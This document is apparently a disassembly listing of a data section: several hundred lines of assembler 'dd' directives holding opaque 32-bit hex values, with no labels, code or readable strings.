		dd 0E85A8BD6h, 276B32h,	0B0D8C1A6h, 0C64006FBh,	9AC01900h
		dd 740DC834h, 0F27D009Eh, 8C21E833h, 32002CF4h,	0C122CD5Bh
		dd 3B5DD6E2h, 0F6016365h, 51A625EAh, 0E13030B3h, 0F7F6C47Ch
		dd 2CACF0Ah, 0E4A8B430h, 0B6435200h, 73A0FB2Fh,	0AF630094h
		dd 6C2CD945h, 5B76FCE0h, 0FF77C300h, 0B55F3C8Ch, 0F41900A9h
		dd 550C7446h, 0D900AD30h, 9D663A78h, 0F4CCEB1Dh, 38A0098h
		dd 9596ED5Dh, 0D01ED45Eh, 5F40C70Dh, 5041795Bh,	0DE9C00C6h
		dd 0A4EE9107h, 22008ACEh, 1CC84EE8h, 0FA6732BDh, 543B00CCh
		dd 303D6361h, 660160C3h, 90651B76h, 0F5EC103Ch,	0B5860009h
		dd 0CBE96FF6h, 4CC013FCh, 4D662E24h, 944000DDh,	10E8B0E5h
		dd 9C13B75Ch, 0C00646Eh, 0C19005CFh, 3E330043h,	0D5D979C9h
		dd 3F07F244h, 22CEF40Fh, 0C3008A77h, 840570h, 326FE6BAh
		dd 0AD25D35h, 15336C00h, 255B694h, 0F57A0084h, 0B24E7D45h
		dd 0A800F705h, 24C2C5A0h, 58985682h, 9B0190BDh,	0C4E98CE8h
		dd 0CF93D81Ch, 75ED2900h, 8119535Ah, 0D67988h, 51BAECABh
		dd 0D2EECD2Dh, 2C764F0Fh, 6003CE6Fh, 122FACC6h,	7C10BE6h
		dd 30A0BBCCh, 378C1BA3h, 50FEEF00h, 473349C7h, 7FB60F77h
		dd 0EE20D8C6h, 8BE2D22Dh, 0F0FD1B76h, 0E0006157h, 0A5446A22h
		dd 264EAAh, 0FB1BC712h,	6D10EF80h, 2DE6E112h, 0C6F10400h
		dd 1DC024CDh, 805AD987h, 5EEEEBCEh, 0A2240821h,	8B3CC40Eh
		dd 8091EC6Bh, 98F65204h, 4870EB4Fh, 5B7E01A7h, 0C02B1732h
		dd 0D0B1CD78h, 69008966h, 7563E2C6h, 1CDA997Ch,	94E58EEBh
		dd 851EBDCDh, 59013A56h, 0CE407302h, 0A762FC68h, 3EB63B01h
		dd 55EB7988h, 0D99060h,	1C315032h, 0DA3F7792h, 0A8820F00h
		dd 0E0CCF553h, 5B9600E2h, 1FD94755h, 0FE0029A9h, 0C02038E3h
		dd 0E28FBAh, 9ED09861h,	0E17AF26h, 0F7E0D107h, 0B4BACB40h
		dd 0C76AD300h, 0F44396Bh, 0E120EB4Ch, 0D5570900h, 2D00D628h
		dd 0FA6A9012h, 6C5FCFh,	51336FE8h, 1046736Bh, 3C27DC00h
		dd 83CFA484h, 6AFC0396h, 85D212D6h, 73F7488h, 38EC5B04h
		dd 0A0C0BE39h, 5333E1Eh, 61C2A83Ah, 6B5E804Dh, 5A0058C6h
		dd 9BD6F28Dh, 5951Eh, 0CA749D9h, 0C529C282h, 6374D00h
		dd 57B9F84Fh, 0E77FA0h,	5F1D6A77h, 851418F5h, 0B6663800h
		dd 0E41E177Ch, 4E46009Eh, 0D46CC4ACh, 0B9004C32h, 0DBCE63D9h
		dd 7FEE21C1h, 99A91EE1h, 0F3854F16h, 7E188E23h,	0CA1E4998h
		dd 1B00C37Bh, 0A16881BAh, 4760932h, 3799E3F7h, 0B9D8062h
		dd 4D07FC07h, 6252C49h,	1BFD583h, 9599D2DCh, 70C95667h
		dd 9E01EBADh, 93DB3D03h, 0C040D180h, 7A7FDCA8h,	5E7107CDh
		dd 59149F33h, 0AFA1CA80h, 0F016A58h, 0E5E26B76h, 82E81799h
		dd 0A5AB004Fh, 0CE8AA665h, 0CC7D21A1h, 0B8EF5A00h, 54EDF2E7h
		dd 5070230h, 0CAB99A67h, 3B5ABC80h, 0F009B1Fh, 0C7557D8h
		dd 1FE5D231h, 0C6D081h,	431A7F79h, 720064C5h, 0E3B6A52Dh
		dd 0B29812h, 0A18A6606h, 0B58222D3h, 0CCFCF904h, 2800B3F5h
		dd 0ED08654h, 9E815A0Fh, 0D6C4E075h, 0B5E04Bh, 0DF8DF08Ah
		dd 0E8D2F9CAh, 1EDE93Fh, 0DDF69E65h, 3C43186h, 64EA0062h
		dd 6B69E16Ch, 460207E4h, 1D92765h, 0CE04E012h, 1868008Dh
		dd 83E541EBh, 1C00F03Eh, 0C7BC6027h, 2EDB64h, 0AAEB5046h
		dd 1831208h, 7524490Fh,	9B9205Eh, 37C6BACh, 31F94C56h
		dd 8C9866D9h, 0F8E6A2CBh, 0C41E58h, 268FBA0h, 3AF30F72h
		dd 26FFEC07h, 7B7C6h, 2F9CDC4Fh, 2E0005C2h, 316F19B6h
		dd 0E349D4A2h, 0EC98D070h, 6E1800A0h, 6D4D89C4h, 9F0008EAh
		dd 4F2752A9h, 708BEDh, 1F10BA2Eh, 3514C7A1h, 0BB55B700h
		dd 0D8F332C1h, 0D2660F22h, 25025781h, 2C0144ACh, 68EAE1CAh
		dd 0AE0A7E8h, 0E9FC0954h, 7E3800B1h, 0BDB725D8h, 0E1024700h
		dd 0CC899D5Ch, 7A6A2496h, 22803BF4h, 78C70874h,	2826C383h
		dd 76044850h, 74B10EFCh, 7BEEC8F7h, 73F648h, 0A9D9DD71h
		dd 9ED59AD6h, 0E1FCB101h, 667F452Fh, 0FCBFCh, 514386A7h
		dd 3A943EEAh, 0DE4D841Dh, 59A1CFh, 0F77C8E10h, 9BF9055Ah
		dd 39DD5Fh, 45E8BA94h, 9C09EC09h, 800B1532h, 34486D78h
		dd 0EDD300AEh, 14977283h, 0E1016BB9h, 0F363E62Ah, 6880EFA6h
		dd 0ACBD0822h, 98095E51h, 20AFE75Fh, 0CA7BF414h, 453E001Ch
		dd 0E194FFA3h, 0C8006FE4h, 5F8C6A1Eh, 124B8BA4h, 7BF0Ah
		dd 0D154202Ah, 0B900B2E9h, 7083306Dh, 0C59F49h,	9093E269h
		dd 0BB621925h, 0E71CBF03h, 0E48677Dh, 0E8D1F430h, 160F4E80h
		dd 7C1665EEh, 8580CD2Ch, 7860D5Eh, 9EFAAFE6h, 0C5FCBB71h
		dd 5BDF5700h, 87D550h, 0B5C0BB81h, 0D949BDC6h, 0D3B3D100h
		dd 94C7432Dh, 27EE005Ah, 0FD3EE63Dh, 0A20005D4h, 4344D8CAh
		dd 7D9A30h, 50BEBF6Ch, 0B4D38BE3h, 0C800D174h, 91CA3A83h
		dd 730FC67Dh, 0BD720018h, 0E0999EDAh, 0DFF0E68Dh, 0EA508E78h
		dd 70004889h, 2592A094h, 0EE22E9FFh, 0DB851C51h, 9A3C001Fh
		dd 77E73D54h, 0B2B46950h, 50762C00h, 0B5D490A6h, 0F76524A2h
		dd 6D64604Ch, 793C7FC9h, 806692B9h, 7D269880h, 671B0036h
		dd 1ACCD017h, 6501F157h, 16E60994h, 0E1CCDA97h,	80590032h
		dd 0B1466955h, 7A0F52F8h, 80B4E4F2h, 3B627940h,	0AF1C3CFDh
		dd 33274100h, 35218824h, 86C45003h, 98935A92h, 1095Fh
		dd 0C0F84D7Fh, 1A07559Fh, 80B1C87Fh, 1D908782h,	0BF64C021h
		dd 1BCE05F1h, 0D7D7D91Ch, 0DFC8050h, 0F202145Bh, 5F8F86BEh
		dd 78D46134h, 3E7C01E0h, 0C600DEEAh, 2589F9B9h,	3A0092C2h
		dd 0EC944A6Ch, 77476B22h, 7F20EA0h, 65E059C0h, 0CF2A7541h
		dd 0B9D66907h, 93E2E3D8h, 1BC8409Bh, 0C36A00C6h, 0AE1D8FECh
		dd 0A4003C84h, 0AB8869A8h, 0D29F21h, 0F5B5B775h, 0F3246A4Ch
		dd 0BBC43E12h, 7A31B080h, 0B4CA00E7h, 0A4BFF603h, 82004B5Ch
		dd 0B353BE04h, 3E67331h, 933AF884h, 0E09CD54Ah,	141FABC8h
		dd 901D30D8h, 2E7E8500h, 0E99179Ah, 0B461A5FFh,	8C547DA0h
		dd 0F300E5B2h, 0EBE1F6E3h, 0FA5DEAh, 0E87A73AFh, 44A7589Dh
		dd 33567E14h, 89C13D0h,	2F905C67h, 0D48F60h, 0E1123457h
		dd 99FCCA63h, 0BEA1A000h, 0A3522A3h, 0DF3F00C1h, 0F3697E37h
		dd 2003048h, 1DD6D4F9h,	694274Bh, 0B83183ACh, 65006832h
		dd 0B216DB2Fh, 1C1C3ACDh, 250E5B9Fh, 5AE4D880h,	11001ED0h
		dd 0BBA9609h, 90FFE73h,	0A720B41Ah, 0F0E63481h,	0F7B7DCC6h
		dd 0F60EC2FCh, 5E2FDFh,	8D063C11h, 0D6F8004Ch, 0DB18CB61h
		dd 8F07206Ch, 4E8EA493h, 7EA8630h, 31420163h, 6CA952CBh
		dd 0C1602088h, 0B9966F17h, 56D8A1C1h, 8345DCh, 0D17BCFF1h
		dd 0EFD1740h, 664FAF09h, 90E800B8h, 9699ACh, 11956D70h
		dd 73461947h, 0E49F48h,	0AFD0A8FBh, 1BDDEAh, 433F8CC7h
		dd 735570DFh, 0CE92150Ah, 4B00BA7Bh, 4817729h, 4E4900BBh
		dd 959D3B7Ch, 790008C0h, 2D68BAF7h, 0B8A962h, 0DC3B2CEh
		dd 0AB29AD0Ah, 15255900h, 8A4BF598h, 1F6C78CAh,	41746465h
		dd 0B69292Fh, 4052ECF0h, 99EF1D00h, 0D1C01F14h,	5451005Dh
		dd 0AA05FBDh, 0E000B7B9h, 74E2A49Ah, 52C4D9h, 0BC2DF5F8h
		dd 7323333Bh, 5001D5F6h, 105775D1h, 0A7DC9222h,	490E0031h
		dd 0D525B643h, 0EE00CF1Ah, 4C1F45CCh, 0E853F2h,	0FD93B838h
		dd 0C7A676D6h, 20690E1Eh, 8536A500h, 544FD0h, 517D5998h
		dd 2C5BBC9Fh, 5F2677FCh, 5314BB91h, 94B000CCh, 358BDD68h
		dd 194B802h, 4C7D9042h,	0E46FAA89h, 0E1001E5Ah,	0ACDDA715h
		dd 30918A6h, 6591723h, 0EC1897Ah, 7337C49Fh, 0DBC2E300h
		dd 5758E043h, 1B8A0067h, 9B40F265h, 0AA004153h,	0D6DD88CAh
		dd 0C2C45Bh, 0C79558Ch,	0E572B443h, 0ED691324h,	0C1C71F01h
		dd 0AF2005BBh, 71D01D1Bh, 29C24009h, 0A9454659h, 4DE4BD03h
		dd 9AC3C4F7h, 0A278C80Fh, 0B3A40080h, 0DC8ACC67h, 7BE46D3Ch
		dd 97B01B00h, 0C2539905h, 0CFDD01A0h, 0ED43E010h, 683C71h
		dd 940AAA15h, 0E811EA9h, 7A7F23D7h, 0DAD5DE1h, 0F99CEC95h
		dd 270A0100h, 1862057Ch, 84F1008Bh, 75B2C13Ah, 5C0117E0h
		dd 0A50BCA34h, 0ACDCC2F9h, 0EFBF0255h, 0D0364C64h, 49688C80h
		dd 7B483456h, 0DC4501A9h, 16043199h, 0F42D38F4h, 62DE0043h
		dd 0ED0E9705h, 0C5054AFAh, 9B633C7Dh, 0B196DBC0h, 0AEF100F7h
		dd 0CAB5A8B3h, 0F4CB741h, 0B00E7008h, 80C889B6h, 76A11A13h
		dd 85FD072Dh, 3EBADCCEh, 8C89F6E0h, 4400F2D9h, 63CD93D6h
		dd 0A85853h, 0FFE91DDAh, 2A0CF94Eh, 51276C09h, 0B4540070h
		dd 5F345Dh, 5B78A6A8h, 5CB9ACC2h, 0AA1D25FCh, 46400D40h
		dd 4B08688Eh, 13A4032Ch, 0D356FBE4h, 0BC36E6F0h, 5A001CECh
		dd 0EF6389F1h, 3B834B0Fh, 4D87207h, 0E61F9200h,	3FD7AD4Fh
		dd 767BB40Eh, 2DB9E057h, 0F0AE89h, 69EC6FF4h, 3EAFCEE1h
		dd 0E07B1C07h, 2B5009A5h, 0FF3954Eh, 0BA985608h, 428B1098h
		dd 3DEC2E00h, 6AE1F0ACh, 379E055Dh, 506CE4h, 3ED14EA4h
		dd 273D4284h, 9EECD953h, 2C510078h, 83D9C6FCh, 57142ECBh
		dd 0B57E09BAh, 7179100h, 45007315h, 1F6B1054h, 1AA157h
		dd 98ACB15Ch, 2CAF3B2Dh, 8C355901h, 7AAB2A2Eh, 0CD8010BEh
		dd 3A681E48h, 2600EE66h, 0F0A964B9h, 74192h, 1CE79B75h
		dd 4372BD19h, 0F8130B74h, 0C20746D4h, 7750B5D6h, 3C1D5B5Ah
		dd 11859437h, 0B0C0F249h, 36018D24h, 0E540AFB2h, 0C7D80670h
		dd 86CD0127h, 690FB0FBh, 54726Ah, 1B4526CAh, 2C549153h
		dd 3F8ABB7h, 0D76DC869h, 402793F8h, 5639F605h, 0C0006F3Ah
		dd 5A4E0D24h, 2D1A02B1h, 65339B06h, 3C1BCCE0h, 44A4DE54h
		dd 0E409BE7Eh, 137234h,	98E37F74h, 972502D4h, 670B1DFDh
		dd 61E68C68h, 0B2EF8600h, 5A139B11h, 0E8CA3C66h, 1CC9F900h
		dd 0D436E31Ah, 89EC863Bh, 0C068E95Bh, 0CA4D030h, 2FDAC98h
		dd 0D8EE3A9Ch, 483E9775h, 591187B1h, 9623479Bh,	3CC0F495h
		dd 44D6EBCh, 932817B5h,	0F49EC2C7h, 74D73B60h, 0F3044872h
		dd 72C93E3Ah, 9A900387h, 0F965EDh, 26522854h, 582B01F8h
		dd 6BF53007h, 5B2023E0h, 7DFC5Ch, 60EE8366h, 393E9D37h
		dd 425A6100h, 554F064h,	3401FC7h, 523103B3h, 4FE08CC0h
		dd 360BF793h, 877362E7h, 8FC00D78h, 37AA183h, 91094D4Eh
		dd 0CB8B81B2h, 0C32042B0h, 38C9900h, 1BE685F0h,	0C43A1DDDh
		dd 77FF810Eh, 70CB6A8Ah, 0D103F614h, 81AB2230h,	0DE57D8D6h
		dd 0C5B6509Ah, 3243EC5h, 747BB981h, 0C3EED8D5h,	0C6F749A0h
		dd 0DE03ACFEh, 0FAAAF3D1h, 184BA8CFh, 0EDA70059h, 22C3BEF2h
		dd 8CBEFC73h, 1197E160h, 3F47EA8Dh, 5808010h, 0EBF1308Ch
		dd 0CE3090F6h, 489CDCE9h, 503C9027h, 0C7EFD0h, 99D6F9BFh
		dd 2635A29Dh, 0D4FB8A02h, 403953A0h, 592BCEh, 0F4E14EA8h
		dd 7ABA28E2h, 9F151916h, 92946804h, 0B7C060A8h,	1628B331h
		dd 0A168A8A0h, 7172CC03h, 0E1E3Ah, 64AB3150h, 56066A7Fh
		dd 22073Bh, 4C8139D6h, 9A20F5h,	74295D49h, 122C0573h, 0A6038A17h
		dd 8FC90205h, 8780F31Dh, 3096D7D8h, 0FD10004Dh,	89FFEF25h
		dd 49003397h, 0C89F883Fh, 0EE620BE2h, 28B83Dh, 6F206ABAh
		dd 1D4EA7C2h, 0FB83170Eh, 594C20DAh, 4724FD9h, 645DEAB1h
		dd 2E4B800Ch, 4500888Bh, 1703770Eh, 1D4E7D5Ah, 801BC713h
		dd 6F603A26h, 98001867h, 77CF1931h, 1D1191h, 0D7F36ABBh
		dd 5C066855h, 66AA8A00h, 8031974Ch, 3FFC00EBh, 0DA1965BDh
		dd 270E32B9h, 0A1E04EA2h, 483BA6F8h, 4576FCh, 0ADB97459h
		dd 0B8844449h, 4F11D800h, 9D641FEAh, 0FCF2005Dh, 7B0D6B88h
		dd 0BC1F0BF5h, 79972977h, 20635E03h, 0FBD9D0C1h, 32A500ACh
		dd 0B87F21D8h, 6B1D2CFDh, 0E3808B58h, 59EF2E34h, 9083006Dh
		dd 0CFF3BA78h, 8AEA11AEh, 33009E7Dh, 1E926458h,	219741h
		dd 3BEDCBF9h
		dd 8E2620A7h, 6B90D103h, 1547A2Fh, 46D7EB20h, 0D46A17ACh
		dd 79005E7Fh, 0D813B190h, 40D988h, 1E411B44h, 7D312072h
		dd 92009890h, 0BB09FF23h, 0E61671h, 3F469F34h, 15F3E999h
		dd 2C077500h, 7B86724Ah, 2E473808h, 6F168100h, 0FB05D9F5h
		dd 0C69F0A00h, 620C075Ah, 19750025h, 4C5DD13Ah,	0FB01978Ah
		dd 0BAE79A0Dh, 21D82F1Ah, 305F3DB7h, 67BC7900h,	0BFFAF637h
		dd 214BA03h, 8883EA17h,	7C15E51Ch, 51AA079Bh, 47A0996Dh
		dd 0CC1133D2h, 0E8FDBE81h, 2E005A50h, 0CDB8BDEAh, 0C63C25h
		dd 90940931h, 0A454E4B4h, 0B026611Ch, 7F583FC1h, 88600689h
		dd 767BF0h, 0F2739E34h,	15146659h, 78B74C07h, 0C4E3D828h
		dd 1AA2D155h, 0FB023839h, 0FF637D58h, 8E41858Fh, 46463662h
		dd 14941CBCh, 0CF67D400h, 11AAEB5h, 6B5996FFh, 0F1746838h
		dd 0A2BAE442h, 6500EB75h, 5B9BA515h, 13FB5880h,	2C273A6h
		dd 1A6D97F2h, 0BB0A040h, 6CD28200h, 7F08A3B1h, 0C3451DEEh
		dd 21AD0097h, 0AFC1D902h, 0EC243701h, 7858F774h, 0DC1E20h
		dd 71D23F50h, 7030A65Eh, 5F8219C7h, 6E399580h, 53D702A5h
		dd 0FC9306D1h, 1B001CD0h, 0A0E4F2Ch, 0F8E4EF65h, 0FA7D00DDh
		dd 0CD9CB8E1h, 0A25D2DDFh, 0C0BA06C4h, 0E395EF5h, 0F92A9FD0h
		dd 9D00A154h, 261FBF88h, 0E7036702h, 0E9E597B0h, 2887C00Fh
		dd 40A767D4h, 0BEF883h,	5047C1EFh, 3C2096h, 4AB91F7Ch
		dd 708F011Eh, 0CF18B6FCh, 9A30AF0Eh, 1ADA3157h,	0DC7D8249h
		dd 8B30E438h, 9AE25148h, 0D6A005B2h, 0EE1064D2h, 96C4B0C0h
		dd 1C7D00A3h, 0C8A93FA7h, 3D00EB9Fh, 0BA47AE54h, 330450Bh
		dd 80DC9A2Ch, 0BC170869h, 0AE0175F0h, 0C5D44C6Dh, 1F23BE4h
		dd 5A943EB9h, 0EE2A3987h, 8A6F55E0h, 0ECAE9002h, 5DC67620h
		dd 23D7B402h, 0CF959882h, 0DD2EC460h, 1F380200h, 62B9DB10h
		dd 0CC200750h, 0C1BC8046h, 7430C141h, 0DA0065D8h, 10898687h
		dd 1DBDC47Fh, 13B24E63h, 0EC908091h, 227786A4h,	0A000BC76h
		dd 0E2E49B74h, 261DD6h,	8C0FC65h, 0AD3D814Fh, 583AEA00h
		dd 3C8894CBh, 20703Eh, 5184F8DFh, 8708924Bh, 0E0B4B751h
		dd 2B181B8Ah, 432E0C3Bh, 29C02AD1h, 6BD0C0B0h, 5076BE27h
		dd 25005892h, 0CA84A3FAh, 1DCEF005h, 19E90BC1h,	0F4D4319Ah
		dd 831D59A3h, 90C0091Eh, 9D3BD00Eh, 3764014Fh, 0DA67F454h
		dd 0FB06F0B6h, 0E282F200h, 0C917EB9h, 5E60062Ah, 0B0E19802h
		dd 549A9480h, 72BF7303h, 901B81BCh, 0D52297h, 0BD18C4EFh
		dd 0E849DBB6h, 8B7E9000h, 0E2BC6B4Ch, 0AB44019Eh, 0B78F84F6h
		dd 0FBA02BF4h, 41F201h,	0CAD023B2h, 4499D880h, 8C0C670h
		dd 11FD36ABh, 5020091h,	60F58324h, 0FB06524Bh, 0E706E99Eh
		dd 0DDC91F28h, 7A73C9ADh, 49AB4206h, 0E1B72600h, 0F57A6E6h
		dd 0C8EA00F3h, 0C15E140Bh, 0D1988CD2h, 0B1017C7Eh, 0B2B46424h
		dd 0BE00F75h, 72FCB096h, 0CEA80F4Fh, 988108A5h,	20357592h
		dd 5E0FC16Eh, 0E1F71C88h, 0E20706D5h, 9414F0h, 0AC01620Ah
		dd 58DFFE86h, 0F98BD30Ah, 26078009h, 0EFE002CFh, 67E7A956h
		dd 0F072A8B5h, 65C9BC10h, 0B8B3EA09h, 436205E6h, 8F488F0Fh
		dd 0CE6400D9h, 0EA2C398Dh, 0F5DB0167h, 8BF25017h, 0C4F183B4h
		dd 8B1FF872h, 0EB104CBFh, 0D7528300h, 0D06DC36h, 0FE821502h
		dd 605B58F3h, 0F534ED9h, 631181AAh, 7106C749h, 0E2005828h
		dd 4AFA8374h, 1CA58FA8h, 0DF4964CEh, 1375C0E3h,	60CF4B53h
		dd 22FDBD01h, 37DB8534h, 0F1269760h, 0E7ADA0DFh, 0D74F005Dh
		dd 1153CF08h, 9D078D2Fh, 10EBDC4Bh, 84853B30h, 29D86057h
		dd 1282310Ch, 0F4348F00h, 0C48B2579h, 0F0130168h, 0FEE94439h
		dd 4A38F81Bh, 0AAF2C500h, 0B4A1FF46h, 5BDA008Eh, 7F72FC2Bh
		dd 0D50002BBh, 437BD97Dh, 8192A7h, 0C3F49609h, 178FC0FBh
		dd 0AEBF2E00h, 0A6C940A3h, 73D80059h, 0D3E046E3h, 683CF7ADh
		dd 7BDF8067h, 4B2290FEh, 0BBB41D6Dh, 7FBEC331h,	74B86E0Ch
		dd 1400ADCCh, 0FAFB732Fh, 0A377D2h, 4892A445h, 0B7882604h
		dd 8BA04D00h, 979E274Eh, 9DB00011h, 0E7D866F0h,	1500E0D6h
		dd 0EAD4EB8Ch, 6FB34Ch,	314D350Ah, 0FD85A7DEh, 8F954800h
		dd 334CA9BFh, 0F47A00FAh, 0D064FF74h, 487410ABh, 7928D900h
		dd 47597894h, 577097E4h, 0A9750500h, 14679F80h,	99FEC5h
		dd 0F9296F23h, 0E21F4DA6h, 7B51000h, 331DC3FAh,	0E066018Ah
		dd 0F99E4AB2h, 0ABCCE8DCh, 57B1C200h, 0E2FE0121h, 0C2846022h
		dd 919E465Fh, 59A86B00h, 0EA9881E3h, 2BC9006Eh,	0E0D53DE1h
		dd 0D90B18E4h, 87034501h, 2EF013E8h, 0F299B86Bh, 0E34100FCh
		dd 0D83E28E0h, 653B0845h, 0BF101E7Ch, 4A537D40h, 67368E4h
		dd 0BE0A074Fh, 0F07C2949h, 10EC4B14h, 0DB0070ECh, 8A6D614Fh
		dd 0EA8295h, 456B269h, 0E63950FEh, 68212D00h, 0B84D406Eh
		dd 0E1E872h, 0CDB77BBCh, 27377F39h, 0F200C97Fh,	527D9E66h
		dd 75B5FB2Ah, 65DF0143h, 321EE0E7h, 678D40EAh, 203B449Fh
		dd 0B8D003CDh, 8B05EC2Ah, 0E031A8E3h, 0F9D70026h, 0BFA3EB93h
		dd 0AA004EDDh, 3A3BF180h, 1D457ABAh, 9FAC370h, 0FDD5C62h
		dd 0D5238081h, 0B3D5Fh,	978DB97Dh, 1EC11855h, 385B6000h
		dd 0E02E64E9h, 0B0E4A346h, 5C3D84FCh, 0B902B7D4h, 21EB3867h
		dd 0EC7CDA61h, 8F036FF8h, 0A5867039h, 5F0C0BFh,	884400EAh
		dd 0A41E5A0h, 4B01AC76h, 0C1FB4013h, 0DF30733Fh, 0EC25E472h
		dd 0AEC3008Dh, 7BD7FC56h, 8800787Ah, 18AA0F3h, 7D8BE848h
		dd 1F4179BBh, 4061125Eh, 2A111D9Dh, 0A8004FC4h,	981F3B99h
		dd 8A6496h, 0B25C8CC0h,	4722A731h, 0B4629F2Ch, 0B80D0400h
		dd 0FC8740h, 249623C4h,	433E5C85h, 804B973Eh, 0C291FF22h
		dd 0CAC058h, 11E03A2Fh,	4EA65D61h, 502A0F3Bh, 0AD0EF18Ah
		dd 609A0B63h, 0BD518E64h, 3FA400CCh, 463AF034h,	90068D8h
		dd 9C557B50h, 94DD0BCh,	10BED3E1h, 927EDA80h, 78002CF9h
		dd 68EC2EA7h, 3DC51CDDh, 0DC00EE17h, 33AE29ACh,	0A0254C3h
		dd 7B4475FDh, 0C09062CDh, 165A20h, 0EA7149E5h, 4D54453Dh
		dd 8127E23Eh, 0F95BBDCCh, 0D040CDE7h, 89F8D1h, 0EC1F4B42h
		dd 37A91D8h, 0E6ED0900h, 0BB371B83h, 94881E60h,	0E258C01Dh
		dd 2EC2480Eh, 0BF3B7700h, 22937ABEh, 9C260073h,	65FE2160h
		dd 2D005B61h, 0E51FB7A6h, 35DCF27h, 9373FA0h, 0F5A86D77h
		dd 2E038CBFh, 0C7BE5FCDh, 0EDCE98D2h, 25A90FDCh, 0D060B65Bh
		dd 0A66B53BFh, 0C9002DEAh, 802AFEE0h, 18CA01h, 674B1931h
		dd 93860D33h, 0B921AB07h, 6CF0CC14h, 3305AC4h, 2297854h
		dd 7BF85D81h, 1D00D7E6h, 0BD43D6B8h, 0BF5EF5h, 53E46083h
		dd 28CCBE32h, 437CF0E7h, 36E50F02h, 1AD5709h, 0D4DBC469h
		dd 1800E8C2h, 0AA85CD7Ah, 70877Eh, 8281548Ah, 0B109D0E0h
		dd 0F6AFC907h, 3D20BA7Fh, 2C92E5h, 0BDC0885Bh, 0DC85E06Eh
		dd 3A1C427Fh, 17C0E46Ah, 0B34A02EDh, 0AC220FCAh, 2F804CE8h
		dd 0E7205333h, 5D30A00h, 7E195C2h, 0D69EF9ABh, 5A750073h
		dd 31312CDh, 59A1A502h,	0E3275E6Dh, 6A6CA8E6h, 0E57A00EDh
		dd 0C697CA1Fh, 9800E240h, 5F116091h, 3B1BDBh, 0AB7CF993h
		dd 0A615376Ch, 621ED2F6h, 0DFC03EA0h, 0F0B6EF23h, 0E2F400E0h
		dd 0D1270467h, 4779297Bh, 0E15ACC00h, 46595E68h, 58937455h
		dd 0C8278FA2h, 0FD22D28Fh, 0C80896Ah, 71305E4Ah, 31E17E07h
		dd 41C41973h, 2957A080h
		dd 1C2100C6h, 3EA106A4h, 0AB003FB5h, 0D20993A2h, 483AB75Fh
		dd 43005CF3h, 0B5918B36h, 0DF07F57Dh, 5DCB3721h, 77938E37h
		dd 7C4000AFh, 995C9B6Ch, 29010F4Dh, 57A7C7D8h, 2E70CFE1h
		dd 0A1353C80h, 0C3F28906h, 0F178FEEAh, 72F0EC00h, 4C1E7E7Ah
		dd 80920EC2h, 13A1A254h, 20B6FFE3h, 0BE007F10h,	0B2447625h
		dd 0E67D91F6h, 107960EBh, 0EF05621Eh, 7AD9E00h,	55EC3933h
		dd 0FC190251h, 0D4D84159h, 90266480h, 0F600D5B5h, 0EBD98196h
		dd 0F80D05DBh, 488F001Fh, 0F1207EA1h, 4439C7FDh, 80B03EAFh
		dd 91D2C5D5h, 2F01CBh, 0EAC2898Ah, 0A79D1BC6h, 77C1B91Dh
		dd 670B534Fh, 5E40D183h, 12E761Eh, 6DD36C79h, 0D0D0E73Ah
		dd 603EAB5Dh, 0D150814Bh, 0FFFA828h, 812720h, 3419D661h
		dd 8854F97Fh, 37A4238h,	3D104A5Fh, 0BF18800Dh, 188148B2h
		dd 1F070F00h, 0BC0213F2h, 2E003DB8h, 798CFC3Bh,	71D2D467h
		dd 9534280Fh, 0F3E11DC8h, 0D5FB8296h, 88A0F2A3h, 1F4EB21Ch
		dd 840E4803h, 0DEBE499Fh, 4FF861h, 57629EDAh, 5F27A74Dh
		dd 510D5D00h, 6F60AAE8h, 83DF0007h, 0A949C765h,	0B502802h
		dd 0C178862Ch, 0DADD2500h, 0BB70C687h, 0BA9612C0h, 0B73806B3h
		dd 2A0069ABh, 0E5C47AD4h, 6C7DBDh, 0BA311083h, 8988846Eh
		dd 4EBF6B07h, 4AC0C58Bh, 4835D0A1h, 0ED03DAEBh,	1EA02968h
		dd 2D0BFFB0h, 8A0084B2h, 433624DCh, 0BA6A8Ch, 9BF1BCFEh
		dd 397AD3C8h, 2808CF37h, 8520A540h, 8FB200A4h, 253A318h
		dd 73E8B9A9h, 8C7E49h, 78D6E2DCh, 22446F0h, 551E89F7h
		dd 0F460EF4Fh, 0A008E1Ah, 2258BDAh, 70678DFDh, 5B4924A2h
		dd 97840054h, 7E9079E2h, 33C7BF06h, 30081EDDh, 0C820EC61h
		dd 5F005CF2h, 0CDEBCA87h, 7893222Dh, 74F3075Ah,	3097114Fh
		dd 11D1B34h, 7FBEB400h,	0C7281CD8h, 0E0840E75h,	0E4205367h
		dd 6C6F825Ch, 0B32678CFh, 0D999A000h, 89ADDBh, 0E20587D4h
		dd 7AB64345h, 774030D8h, 126F0BF6h, 0D8069E1h, 0DE76B711h
		dd 1C14E360h, 58A41DB5h, 58062C38h, 18B44827h, 0EDA25E0Ah
		dd 0CB8774AAh, 80F2F579h, 804A19C6h, 5C261D21h,	1FF5A243h
		dd 41871599h, 77A31CDCh, 9001F796h, 485B71FFh, 7081B49Eh
		dd 0F9E830C4h, 2C8760E2h, 6F365101h, 3499DD9h, 7B511C4h
		dd 0AA628E34h, 7F8B370h, 7EF23CD1h, 1D3D8BB0h, 0C064BCB9h
		dd 0A5D1893Eh, 70006FE6h, 0C1E81E9Ch, 6C53DB5h,	0A2A1B8ADh
		dd 0F80348D8h, 214EB355h, 84590196h, 2DFC61F7h,	9017D07Dh
		dd 60FE1400h, 0E0550259h, 3E7B00DDh, 8A739DEFh,	9230C045h
		dd 57231856h, 1CBA7522h, 0C09ACC6Dh, 6734D794h,	2B00EEE2h
		dd 7C8523E7h, 0E24174Ch, 21021991h, 0D3E069A0h,	4A0765D4h
		dd 6BFE0109h, 30E72C20h, 26200040h, 0D4A72B8Dh,	23009750h
		dd 0E4036C5Eh, 0D16183h, 92AA0AB6h, 9ED809F2h, 6F356701h
		dd 0B829EC51h, 36925D0h, 5B1E0671h, 10034CFBh, 5D1984DEh
		dd 9E99F8AFh, 0F86706A3h, 9037F656h, 7B3ACF00h,	2268FA92h
		dd 0A5760066h, 102EDB6Ah, 0DD3CB99Ch, 796C8051h, 0CDFAA4FEh
		dd 0ECD0001Ch, 7088F595h, 80E5B17h, 2C8C37C7h, 5043A60Fh
		dd 3C9A9D4h, 79F2E274h,	31EB637Eh, 5648E8D8h, 0AF1BB916h
		dd 0D5490807h, 3A37E03h, 0CD79D650h, 2FF05B9Eh,	0AA1E861Bh
		dd 684FA5EFh, 2877A081h, 0F8B64F96h, 0D962005Fh, 3EB3EB88h
